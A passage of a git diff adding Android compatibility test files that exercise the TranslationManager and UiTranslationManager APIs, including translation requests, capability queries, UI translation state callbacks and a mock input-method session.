+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Application;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.pm.PackageManager;
+import android.os.CancellationSignal;
+import android.platform.test.annotations.AppModeFull;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.translation.TranslationCapability;
+import android.view.translation.TranslationContext;
+import android.view.translation.TranslationManager;
+import android.view.translation.TranslationRequest;
+import android.view.translation.TranslationRequestValue;
+import android.view.translation.TranslationResponse;
+import android.view.translation.TranslationResponseValue;
+import android.view.translation.TranslationSpec;
+import android.view.translation.Translator;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ActivitiesWatcher;
+import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+import com.android.compatibility.common.util.RequiredServiceRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+
+/**
+ * Tests for {@link TranslationManager} related APIs.
+ *
+ * <p>
+ * We use a non-standard {@link android.service.translation.TranslationService} for e2e CTS tests
+ * that is set via shell command. This temporary service is not defined in the trusted
+ * TranslationService, it should only receive queries from clients in the same package.</p>
+ */
+@AppModeFull(reason = "TODO(b/182330968): disable instant mode. Re-enable after we decouple the "
+        + "service from the test package.")
+@RunWith(AndroidJUnit4.class)
+public class TranslationManagerTest {
+
+    @Rule
+    public final RequiredServiceRule mServiceRule = new RequiredServiceRule(
+            android.content.Context.TRANSLATION_MANAGER_SERVICE);
+
+    private static final String TAG = "BasicTranslationTest";
+
+    private CtsTranslationService.ServiceWatcher mServiceWatcher;
+    private ActivitiesWatcher mActivitiesWatcher;
+
+    private static Instrumentation sInstrumentation;
+    private static CtsTranslationService.TranslationReplier sTranslationReplier;
+
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sTranslationReplier = CtsTranslationService.getTranslationReplier();
+    }
+
+    @Before
+    public void setup() {
+        CtsTranslationService.resetStaticState();
+    }
+
+    @After
+    public void cleanup() {
+        Helper.resetTemporaryTranslationService();
+        if (mActivitiesWatcher != null) {
+            final Application app = (Application) ApplicationProvider.getApplicationContext();
+            app.unregisterActivityLifecycleCallbacks(mActivitiesWatcher);
+        }
+    }
+
+    @Test
+    public void testSingleTranslation() throws Exception{
+        enableCtsTranslationService();
+
+        final TranslationManager manager = sInstrumentation.getContext().getSystemService(
+                TranslationManager.class);
+
+        sTranslationReplier.addResponse(
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setTranslationResponseValue(0, new TranslationResponseValue
+                                .Builder(TranslationResponseValue.STATUS_SUCCESS)
+                                .setText("success")
+                                .build())
+                        .build());
+
+        final CountDownLatch translationLatch = new CountDownLatch(1);
+        final AtomicReference<TranslationResponse> responseRef = new AtomicReference<>();
+
+        final TranslationContext translationContext = new TranslationContext.Builder(
+                new TranslationSpec(Locale.ENGLISH.getLanguage(),
+                        TranslationSpec.DATA_FORMAT_TEXT),
+                new TranslationSpec(Locale.FRENCH.getLanguage(),
+                        TranslationSpec.DATA_FORMAT_TEXT))
+                .build();
+        final Translator translator = manager.createOnDeviceTranslator(translationContext);
+
+        try {
+            mServiceWatcher.waitOnConnected();
+        } catch (InterruptedException e) {
+            Log.w(TAG, "Exception waiting for onConnected");
+        }
+
+        assertThat(translator.isDestroyed()).isFalse();
+
+        final Consumer<TranslationResponse> callback = new Consumer<TranslationResponse>() {
+            @Override
+            public void accept(TranslationResponse translationResponse) {
+                responseRef.set(translationResponse);
+                translationLatch.countDown();
+            }
+        };
+
+        translator.translate(new TranslationRequest.Builder()
+                .addTranslationRequestValue(TranslationRequestValue.forText("hello world"))
+                .build(), new CancellationSignal(), (r) -> r.run(), callback);
+
+        sTranslationReplier.getNextTranslationRequest();
+
+        translator.destroy();
+        assertThat(translator.isDestroyed()).isTrue();
+        try {
+            mServiceWatcher.waitOnDisconnected();
+        } catch (InterruptedException e) {
+            Log.w(TAG, "Exception waiting for onDisconnected");
+        }
+
+        // Wait for translation to finish
+        translationLatch.await();
+        sTranslationReplier.assertNoUnhandledTranslationRequests();
+
+        final TranslationResponse response = responseRef.get();
+        Log.v(TAG, "TranslationResponse=" + response);
+
+        assertThat(response).isNotNull();
+        assertThat(response.getTranslationStatus())
+                .isEqualTo(TranslationResponse.TRANSLATION_STATUS_SUCCESS);
+        assertThat(response.isFinalResponse()).isTrue();
+        assertThat(response.getTranslationResponseValues().size()).isEqualTo(1);
+        assertThat(response.getViewTranslationResponses().size()).isEqualTo(0);
+
+        final TranslationResponseValue value = response.getTranslationResponseValues().get(0);
+        assertThat(value.getStatusCode()).isEqualTo(TranslationResponseValue.STATUS_SUCCESS);
+        assertThat(value.getText()).isEqualTo("success");
+        assertThat(value.getTransliteration()).isNull();
+        assertThat(value.getDictionaryDescription()).isNull();
+    }
+
+    @Test
+    public void testTranslationCancelled() throws Exception{
+        enableCtsTranslationService();
+
+        final TranslationManager manager = sInstrumentation.getContext().getSystemService(
+                TranslationManager.class);
+
+        sTranslationReplier.addResponse(
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setTranslationResponseValue(0, new TranslationResponseValue
+                                .Builder(TranslationResponseValue.STATUS_SUCCESS)
+                                .setText("success")
+                                .build())
+                        .build());
+
+        final CountDownLatch translationLatch = new CountDownLatch(1);
+        final AtomicReference<TranslationResponse> responseRef = new AtomicReference<>();
+
+        final TranslationContext translationContext = new TranslationContext.Builder(
+                new TranslationSpec(Locale.ENGLISH.getLanguage(),
+                        TranslationSpec.DATA_FORMAT_TEXT),
+                new TranslationSpec(Locale.FRENCH.getLanguage(),
+                        TranslationSpec.DATA_FORMAT_TEXT))
+                .build();
+        final Translator translator = manager.createOnDeviceTranslator(translationContext);
+
+        try {
+            mServiceWatcher.waitOnConnected();
+        } catch (InterruptedException e) {
+            Log.w(TAG, "Exception waiting for onConnected");
+        }
+
+        assertThat(translator.isDestroyed()).isFalse();
+
+        final Consumer<TranslationResponse> callback = new Consumer<TranslationResponse>() {
+            @Override
+            public void accept(TranslationResponse translationResponse) {
+                responseRef.set(translationResponse);
+                translationLatch.countDown();
+            }
+        };
+
+        final CancellationSignal cancellationSignal = new CancellationSignal();
+
+        translator.translate(new TranslationRequest.Builder()
+                .addTranslationRequestValue(TranslationRequestValue.forText("hello world"))
+                .build(), cancellationSignal, (r) -> r.run(), callback);
+
+        // TODO: implement with cancellation signal listener
+        // cancel translation request
+        cancellationSignal.cancel();
+
+        sTranslationReplier.assertNoUnhandledTranslationRequests();
+
+        translator.destroy();
+        assertThat(translator.isDestroyed()).isTrue();
+        try {
+            mServiceWatcher.waitOnDisconnected();
+        } catch (InterruptedException e) {
+            Log.w(TAG, "Exception waiting for onDisconnected");
+        }
+    }
+
+    @Test
+    public void testGetTranslationCapabilities() throws Exception{
+        enableCtsTranslationService();
+
+        final TranslationManager manager = sInstrumentation.getContext().getSystemService(
+                TranslationManager.class);
+        final CountDownLatch latch = new CountDownLatch(1);
+        final AtomicReference<Set<TranslationCapability>> resultRef =
+                new AtomicReference<>();
+
+        final Thread th = new Thread(() -> {
+            final Set<TranslationCapability> capabilities =
+                    manager.getOnDeviceTranslationCapabilities(TranslationSpec.DATA_FORMAT_TEXT,
+                            TranslationSpec.DATA_FORMAT_TEXT);
+            resultRef.set(capabilities);
+            latch.countDown();
+        });
+        th.start();
+        latch.await();
+
+        final ArraySet<TranslationCapability> capabilities = new ArraySet<>(resultRef.get());
+        assertThat(capabilities.size()).isEqualTo(1);
+        capabilities.forEach((capability) -> {
+            assertThat(capability.getState()).isEqualTo(TranslationCapability.STATE_ON_DEVICE);
+
+            assertThat(capability.getSupportedTranslationFlags()).isEqualTo(0);
+            assertThat(capability.isUiTranslationEnabled()).isTrue();
+            assertThat(capability.getSourceSpec().getLanguage()).isEqualTo("en");
+            assertThat(capability.getSourceSpec().getDataFormat())
+                    .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+            assertThat(capability.getTargetSpec().getLanguage()).isEqualTo("es");
+            assertThat(capability.getTargetSpec().getDataFormat())
+                    .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+        });
+    }
+
+    @Test
+    public void testGetTranslationSettingsActivityIntent() throws Exception{
+        enableCtsTranslationService();
+
+        final TranslationManager manager = sInstrumentation.getContext().getSystemService(
+                TranslationManager.class);
+        final PendingIntent pendingIntent = manager.getOnDeviceTranslationSettingsActivityIntent();
+
+        assertThat(pendingIntent).isNotNull();
+        assertThat(pendingIntent.isImmutable()).isTrue();
+
+        // Start Settings Activity and verify if the expected Activity resumed
+        mActivitiesWatcher = new ActivitiesWatcher(5_000);
+        final Application app = (Application) ApplicationProvider.getApplicationContext();
+        app.registerActivityLifecycleCallbacks(mActivitiesWatcher);
+        final ActivityWatcher watcher = mActivitiesWatcher.watch(SimpleActivity.class);
+
+        pendingIntent.send();
+
+        watcher.waitFor(RESUMED);
+    }
+
+    //TODO(183605243): add test for cancelling translation.
+
+    protected void enableCtsTranslationService() {
+        mServiceWatcher = CtsTranslationService.setServiceWatcher();
+        Helper.setTemporaryTranslationService(CtsTranslationService.SERVICE_NAME);
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
new file mode 100644
index 0000000..4338028
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -0,0 +1,483 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
+import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.view.translation.TranslationResponseValue.STATUS_SUCCESS;
+import static android.provider.Settings.Secure.ENABLED_INPUT_METHODS;
+import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
+import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_START;
+import static android.translation.cts.Helper.ACTION_REGISTER_UI_TRANSLATION_CALLBACK;
+import static android.translation.cts.Helper.ACTION_UNREGISTER_UI_TRANSLATION_CALLBACK;
+import static android.translation.cts.Helper.EXTRA_FINISH_COMMAND;
+import static android.translation.cts.Helper.EXTRA_SOURCE_LOCALE;
+import static android.translation.cts.Helper.EXTRA_TARGET_LOCALE;
+import static android.translation.cts.Helper.EXTRA_VERIFY_RESULT;
+import static android.translation.cts.Helper.Triple;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.service.contentcapture.ContentCaptureService;
+import android.service.translation.TranslationService;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureContext;
+import android.view.inputmethod.InputMethodManager;
+import android.view.translation.TranslationManager;
+import android.view.translation.TranslationRequest;
+import android.view.translation.TranslationResponse;
+import android.view.translation.TranslationResponseValue;
+import android.view.translation.TranslationSpec;
+import android.view.translation.UiTranslationManager;
+import android.view.translation.UiTranslationStateCallback;
+import android.view.translation.ViewTranslationRequest;
+import android.view.translation.ViewTranslationResponse;
+
+import androidx.lifecycle.Lifecycle;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiObject2;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.RequiredServiceRule;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.List;
+import java.util.Locale;
+
+/**
+ * Tests for {@link UiTranslationManager} related APIs.
+ *
+ * <p>
+ * {@link UiTranslationManager} needs a token that reports by {@link ContentCaptureService}. We use
+ * a non pre-configured {@link ContentCaptureService} and a {@link TranslationService} temporary
+ * service for CTS tests that is set via shell command. The test will get the token from the
+ * {@link ContentCaptureService} then uses this token in {@link UiTranslationManager} APIs.</p>
+ */
+
+@AppModeFull(reason = "TODO(b/182330968): disable instant mode. Re-enable after we decouple the "
+        + "service from the test package.")
+@RunWith(AndroidJUnit4.class)
+public class UiTranslationManagerTest {
+
+    private static final String TAG = "UiTranslationManagerTest";
+
+    private static final long UI_WAIT_TIMEOUT = 2000;
+
+    private static Context sContext;
+    private static CtsTranslationService.TranslationReplier sTranslationReplier;
+
+    private CtsContentCaptureService.ServiceWatcher mContentCaptureServiceWatcher;
+    private CtsTranslationService.ServiceWatcher mTranslationServiceServiceWatcher;
+    private ActivityScenario<SimpleActivity> mActivityScenario;
+
+    @Rule
+    public final RequiredServiceRule mContentCaptureServiceRule =
+            new RequiredServiceRule(CONTENT_CAPTURE_MANAGER_SERVICE);
+
+    @Rule
+    public final RequiredServiceRule mTranslationServiceRule =
+            new RequiredServiceRule(TRANSLATION_MANAGER_SERVICE);
+
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sContext = ApplicationProvider.getApplicationContext();
+        sTranslationReplier = CtsTranslationService.getTranslationReplier();
+
+        Helper.allowSelfForContentCapture(sContext);
+        Helper.setDefaultContentCaptureServiceEnabled(/* enabled= */ false);
+    }
+
+    @AfterClass
+    public static void oneTimeReset() {
+        Helper.unAllowSelfForContentCapture(sContext);
+        Helper.setDefaultContentCaptureServiceEnabled(/* enabled= */ true);
+    }
+
+    @Before
+    public void setup() throws Exception {
+        prepareDevice();
+        CtsContentCaptureService.resetStaticState();
+        CtsTranslationService.resetStaticState();
+    }
+
+    @After
+    public void cleanup() throws Exception {
+        mActivityScenario.moveToState(Lifecycle.State.DESTROYED);
+
+        Helper.resetTemporaryContentCaptureService();
+        Helper.resetTemporaryTranslationService();
+    }
+
+    private void prepareDevice() throws Exception {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+        // Collapse notifications.
+        runShellCommand("cmd statusbar collapse");
+    }
+
+    @Test
+    public void testUiTranslation() throws Throwable {
+        final Triple<CharSequence, List<AutofillId>, ContentCaptureContext> result =
+                enableServicesAndStartActivityForTranslation();
+
+        final CharSequence originalText = result.getFirst();
+        final List<AutofillId> views = result.getSecond();
+        final ContentCaptureContext contentCaptureContext = result.getThird();
+
+        final String translatedText = "success";
+        final UiTranslationManager manager = sContext.getSystemService(UiTranslationManager.class);
+        final UiObject2 helloText = Helper.findObjectByResId(SimpleActivity.ACTIVITY_PACKAGE,
+                SimpleActivity.HELLO_TEXT_ID);
+        assertThat(helloText).isNotNull();
+        // Set response
+        sTranslationReplier.addResponse(createViewsTranslationResponse(views, translatedText));
+
+        runWithShellPermissionIdentity(() -> {
+            // Call startTranslation API
+            manager.startTranslation(
+                    new TranslationSpec(Locale.ENGLISH.getLanguage(),
+                            TranslationSpec.DATA_FORMAT_TEXT),
+                    new TranslationSpec(Locale.FRENCH.getLanguage(),
+                            TranslationSpec.DATA_FORMAT_TEXT),
+                    views, contentCaptureContext.getActivityId());
+
+            // Check request
+            final TranslationRequest request = sTranslationReplier.getNextTranslationRequest();
+            final List<ViewTranslationRequest> requests = request.getViewTranslationRequests();
+            final ViewTranslationRequest viewRequest = requests.get(0);
+            assertThat(viewRequest.getAutofillId()).isEqualTo(views.get(0));
+            assertThat(viewRequest.getKeys().size()).isEqualTo(1);
+            assertThat(viewRequest.getKeys()).containsExactly(ViewTranslationRequest.ID_TEXT);
+            assertThat(viewRequest.getValue(ViewTranslationRequest.ID_TEXT).getText())
+                    .isEqualTo(originalText);
+
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            // Call pauseTranslation API
+            manager.pauseTranslation(contentCaptureContext.getActivityId());
+
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+            assertThat(helloText.getText()).isEqualTo(originalText);
+
+            // Call resumeTranslation API
+            manager.resumeTranslation(contentCaptureContext.getActivityId());
+
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            // Call finishTranslation API
+            manager.finishTranslation(contentCaptureContext.getActivityId());
+
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+            assertThat(helloText.getText()).isEqualTo(originalText);
+
+            // Check the Translation session is destroyed after calling finishTranslation()
+            CtsTranslationService translationService =
+                    mTranslationServiceServiceWatcher.getService();
+            translationService.awaitSessionDestroyed();
+        });
+    }
+
+    @Test
+    public void testIMEUiTranslationStateCallback() throws Throwable {
+        try (ImeSession imeSession = new ImeSession(
+                new ComponentName(CtsTestIme.IME_SERVICE_PACKAGE, CtsTestIme.class.getName()))) {
+
+            final Triple<CharSequence, List<AutofillId>, ContentCaptureContext> result =
+                    enableServicesAndStartActivityForTranslation();
+            final List<AutofillId> views = result.getSecond();
+            final ContentCaptureContext contentCaptureContext = result.getThird();
+            final UiTranslationManager manager =
+                    sContext.getSystemService(UiTranslationManager.class);
+            sTranslationReplier.addResponse(createViewsTranslationResponse(views, "success"));
+
+            // Send broadcat to request IME to register callback
+            BlockingBroadcastReceiver registerResultReceiver =
+                    sendCommandToIme(ACTION_REGISTER_UI_TRANSLATION_CALLBACK, false, false);
+            // Get result
+            registerResultReceiver.awaitForBroadcast();
+            registerResultReceiver.unregisterQuietly();
+
+            runWithShellPermissionIdentity(() -> {
+                // Call startTranslation API
+                manager.startTranslation(
+                        new TranslationSpec(Locale.ENGLISH.getLanguage(),
+                                TranslationSpec.DATA_FORMAT_TEXT),
+                        new TranslationSpec(Locale.FRENCH.getLanguage(),
+                                TranslationSpec.DATA_FORMAT_TEXT),
+                        views, contentCaptureContext.getActivityId());
+                SystemClock.sleep(UI_WAIT_TIMEOUT);
+            });
+            // Send broadcat to request IME to check the callback result
+            BlockingBroadcastReceiver onStartResultReceiver = sendCommandToIme(
+                    ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_START, true, true);
+            // Get result to check the onStart() was called
+            Intent onStartIntent = onStartResultReceiver.awaitForBroadcast();
+            boolean onStartVerifyResult = onStartIntent.getBooleanExtra(EXTRA_VERIFY_RESULT, false);
+            assertThat(onStartVerifyResult).isTrue();
+            onStartResultReceiver.unregisterQuietly();
+
+            // Send broadcat to request IME to unregister callback
+            BlockingBroadcastReceiver unRegisterResultReceiver
+                    = sendCommandToIme(ACTION_UNREGISTER_UI_TRANSLATION_CALLBACK, false, false);
+            unRegisterResultReceiver.awaitForBroadcast();
+            unRegisterResultReceiver.unregisterQuietly();
+
+            // Call finishTranslation API
+            runWithShellPermissionIdentity(() -> {
+                manager.finishTranslation(contentCaptureContext.getActivityId());
+                SystemClock.sleep(UI_WAIT_TIMEOUT);
+            });
+            BlockingBroadcastReceiver onFinishResultReceiver =
+                    sendCommandToIme(ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH, false, true);
+            // Get result to check onFinish() didn't be called.
+            Intent onFinishIntent = onFinishResultReceiver.awaitForBroadcast();
+            boolean onFinishVerifyResult =
+                    onFinishIntent.getBooleanExtra(EXTRA_VERIFY_RESULT, true);
+            assertThat(onFinishVerifyResult).isFalse();
+            onFinishResultReceiver.unregisterQuietly();
+        }
+    }
+
+    @Test
+    public void testNonIMEUiTranslationStateCallback() throws Throwable {
+        final Triple<CharSequence, List<AutofillId>, ContentCaptureContext> result =
+                enableServicesAndStartActivityForTranslation();
+
+        final List<AutofillId> views = result.getSecond();
+        final ContentCaptureContext contentCaptureContext = result.getThird();
+
+        UiTranslationManager manager =
+                sContext.getSystemService(UiTranslationManager.class);
+        // Set response
+        sTranslationReplier.addResponse(createViewsTranslationResponse(views, "success"));
+
+        // Register callback
+        final Executor executor = Executors.newSingleThreadExecutor();
+        final TestTranslationStateCallback callback = new TestTranslationStateCallback();
+        manager.registerUiTranslationStateCallback(executor, callback);
+        runWithShellPermissionIdentity(() -> {
+            // Call startTranslation API
+            manager.startTranslation(
+                    new TranslationSpec(Locale.ENGLISH.getLanguage(),
+                            TranslationSpec.DATA_FORMAT_TEXT),
+                    new TranslationSpec(Locale.FRENCH.getLanguage(),
+                            TranslationSpec.DATA_FORMAT_TEXT),
+                    views, contentCaptureContext.getActivityId());
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+            assertThat(callback.isOnStartedCalled()).isFalse();
+        });
+    }
+
+    private BlockingBroadcastReceiver sendCommandToIme(String action, boolean includeStartAssert,
+            boolean mutable) {
+        final String actionImeServiceCommandDone = action + "_" + SystemClock.uptimeMillis();
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(sContext,
+                actionImeServiceCommandDone);
+        receiver.register();
+        final Intent commandIntent = new Intent(action);
+        final PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                        sContext,
+                        0,
+                        new Intent(actionImeServiceCommandDone),
+                        mutable ? PendingIntent.FLAG_MUTABLE : PendingIntent.FLAG_IMMUTABLE);
+        commandIntent.putExtra(EXTRA_FINISH_COMMAND, pendingIntent);
+        if (includeStartAssert) {
+            commandIntent.putExtra(EXTRA_SOURCE_LOCALE, Locale.ENGLISH.getLanguage());
+            commandIntent.putExtra(EXTRA_TARGET_LOCALE, Locale.FRENCH.getLanguage());
+        }
+        sContext.sendBroadcast(commandIntent);
+
+        return receiver;
+    }
+
+    private CtsContentCaptureService enableContentCaptureService() throws Exception {
+        mContentCaptureServiceWatcher = CtsContentCaptureService.setServiceWatcher();
+        Helper.setTemporaryContentCaptureService(CtsContentCaptureService.SERVICE_NAME);
+        mContentCaptureServiceWatcher.setAllowSelf();
+        return mContentCaptureServiceWatcher.waitOnConnected();
+    }
+
+    private ContentCaptureContext getContentCaptureContextFromContentCaptureService(
+            CtsContentCaptureService service) {
+        service.awaitSessionCreated(CtsContentCaptureService.GENERIC_TIMEOUT_MS);
+        final ContentCaptureContext contentCaptureContext = service.getContentCaptureContext();
+        Log.d(TAG, "contentCaptureContext = " + contentCaptureContext);
+
+        assertThat(contentCaptureContext).isNotNull();
+        assertThat(contentCaptureContext.getActivityId()).isNotNull();
+
+        return contentCaptureContext;
+    }
+
+    private TranslationResponse createViewsTranslationResponse(List<AutofillId> viewAutofillIds,
+            String translatedText) {
+        final TranslationResponse.Builder responseBuilder =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS);
+        for (int i = 0; i < viewAutofillIds.size(); i++) {
+            ViewTranslationResponse.Builder responseDataBuilder =
+                    new ViewTranslationResponse.Builder(viewAutofillIds.get(i))
+                            .setValue(ViewTranslationRequest.ID_TEXT,
+                                    new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                            .setText(translatedText).build());
+            responseBuilder.setViewTranslationResponse(i, responseDataBuilder.build());
+        }
+        return responseBuilder.build();
+    }
+
+    private Triple<CharSequence, List<AutofillId>, ContentCaptureContext>
+            enableServicesAndStartActivityForTranslation() throws Exception {
+        // Enable CTS ContentCaptureService
+        CtsContentCaptureService contentcaptureService = enableContentCaptureService();
+
+        // Start Activity and get needed information
+        Intent intent = new Intent(sContext, SimpleActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        AtomicReference<CharSequence> originalTextRef = new AtomicReference<>();
+        AtomicReference<List<AutofillId>> viewAutofillIdsRef = new AtomicReference<>();
+
+        mActivityScenario = ActivityScenario.launch(intent);
+        mActivityScenario.onActivity(activity -> {
+            originalTextRef.set(activity.getHelloText().getText());
+            viewAutofillIdsRef.set(activity.getViewsForTranslation());
+        });
+        CharSequence originalText = originalTextRef.get();
+        // Get the views that need to be translated.
+        List<AutofillId> views = viewAutofillIdsRef.get();
+
+        // Wait session created and get the ConttCaptureContext from ContentCaptureService
+        ContentCaptureContext contentCaptureContext =
+                getContentCaptureContextFromContentCaptureService(contentcaptureService);
+
+        // enable CTS TranslationService
+        mTranslationServiceServiceWatcher = CtsTranslationService.setServiceWatcher();
+        Helper.setTemporaryTranslationService(CtsTranslationService.SERVICE_NAME);
+
+        // TODO(b/184617863): use separate methods not use Triple here.
+        return new Triple(originalText, views, contentCaptureContext);
+    }
+
+    static class TestTranslationStateCallback implements UiTranslationStateCallback {
+        private boolean mStartCalled;
+        private boolean mFinishCalled;
+        private String mSourceLocale;
+        private String mTargetLocale;
+
+        TestTranslationStateCallback() {
+            resetStates();
+        }
+
+        void resetStates() {
+            mStartCalled = false;
+            mFinishCalled = false;
+            mSourceLocale = null;
+            mTargetLocale = null;
+        }
+
+        boolean verifyOnStart(String expectedSourceLocale, String expectedTargetLocale) {
+            return mSourceLocale.equals(expectedSourceLocale) && mTargetLocale.equals(
+                    expectedTargetLocale);
+        }
+
+        boolean isOnStartedCalled() {
+            return mStartCalled;
+        }
+
+        boolean isOnFinishedCalled() {
+            return mFinishCalled;
+        }
+
+        @Override
+        public void onStarted(String sourceLocale, String targetLocale) {
+            mStartCalled = true;
+            mSourceLocale = sourceLocale;
+            mTargetLocale = targetLocale;
+        }
+
+        @Override
+        public void onPaused() {
+            // do nothing
+        }
+
+        @Override
+        public void onFinished() {
+            mFinishCalled = true;
+        }
+    }
+
+    private static class ImeSession implements AutoCloseable {
+
+        private static final long TIMEOUT = 2000;
+        private final ComponentName mImeName;
+
+        ImeSession(ComponentName ime) throws Exception {
+            mImeName = ime;
+            runShellCommand("ime reset");
+            // TODO(b/184617863): get IME component from InputMethodManager#getInputMethodList
+            runShellCommand("ime enable " + ime.flattenToShortString());
+            runShellCommand("ime set " + ime.flattenToShortString());
+            PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
+                    () -> ime.equals(getCurrentInputMethodId()));
+        }
+
+        @Override
+        public void close() throws Exception {
+            runShellCommand("ime reset");
+            PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
+                    sContext.getSystemService(InputMethodManager.class)
+                            .getEnabledInputMethodList()
+                            .stream()
+                            .noneMatch(info -> mImeName.equals(info.getComponent())));
+        }
+
+        private ComponentName getCurrentInputMethodId() {
+            return ComponentName.unflattenFromString(
+                    Settings.Secure.getString(sContext.getContentResolver(),
+                            Settings.Secure.DEFAULT_INPUT_METHOD));
+        }
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/unittests/TranslationCapabilityTest.java b/tests/translation/src/android/translation/cts/unittests/TranslationCapabilityTest.java
new file mode 100644
index 0000000..ef00074
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/TranslationCapabilityTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.Parcel;
+import android.view.translation.TranslationCapability;
+import android.view.translation.TranslationContext;
+import android.view.translation.TranslationSpec;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class TranslationCapabilityTest {
+
+    private final TranslationSpec sourceSpec =
+            new TranslationSpec("en", TranslationSpec.DATA_FORMAT_TEXT);
+    private final TranslationSpec targetSpec =
+            new TranslationSpec("es", TranslationSpec.DATA_FORMAT_TEXT);
+
+    @Test
+    public void testCapability_nullSpecs() {
+        assertThrows(NullPointerException.class,
+                () -> new TranslationCapability(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD,
+                        null, targetSpec, /* uiTranslationEnabled= */ true,
+                        /* supportedTranslationFlags= */ 0));
+        assertThrows(NullPointerException.class,
+                () -> new TranslationCapability(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD,
+                        sourceSpec, null,/* uiTranslationEnabled= */ true,
